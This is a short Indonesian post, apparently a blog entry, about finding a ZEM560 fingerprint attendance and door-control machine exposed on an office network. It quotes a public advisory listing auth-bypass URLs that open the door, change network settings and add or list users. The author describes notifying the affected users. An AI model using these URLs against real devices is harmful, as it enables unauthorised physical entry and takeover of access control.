[ZEM560] Mesin Absen issue

balik gawe liat ada anomali di node salah satu kantor vertikal ,di coba akses via browser taunya yang nongol mesin absen!
di cari merk nya  dan di "googling" nemu vulnernya :

[+] Device: Fingerprint & Proximity Access Control
[+] Model: ZEM560 and others
[+] Kernel: 2.6.24 Treckle on an MIPS
[+] Vulnerability: Auth Bypass
[+] Impact: By using a direct URL attackers can bypass the fingerprint
& proximity security and open the door. Attackers may change the
device configuration, create admin users, access to reports, etc.
[+] PoC:
[-] Open the Door: http://ip.address/form/Device?act=9
[-] Change IP config: http://ip.address/form/Device?act=5
[-] Add users: http://ip.address/csl/user?action=add
[-] Users List: http://ip.address/csl/user

sementara dikabarin dulu user yang ada di list mesin absensinya dan nunggu balesan.

udah gitu aja.

referensi : http://blog.zerial.org/seguridad/vulnerar-la-seguridad-fisica-de-un-control-de-acceso-biometrico/